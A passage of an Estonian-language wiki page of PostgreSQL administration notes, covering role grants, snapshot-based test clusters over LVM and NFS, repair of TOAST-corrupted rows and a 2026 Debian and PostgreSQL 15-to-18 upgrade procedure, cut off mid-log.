 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
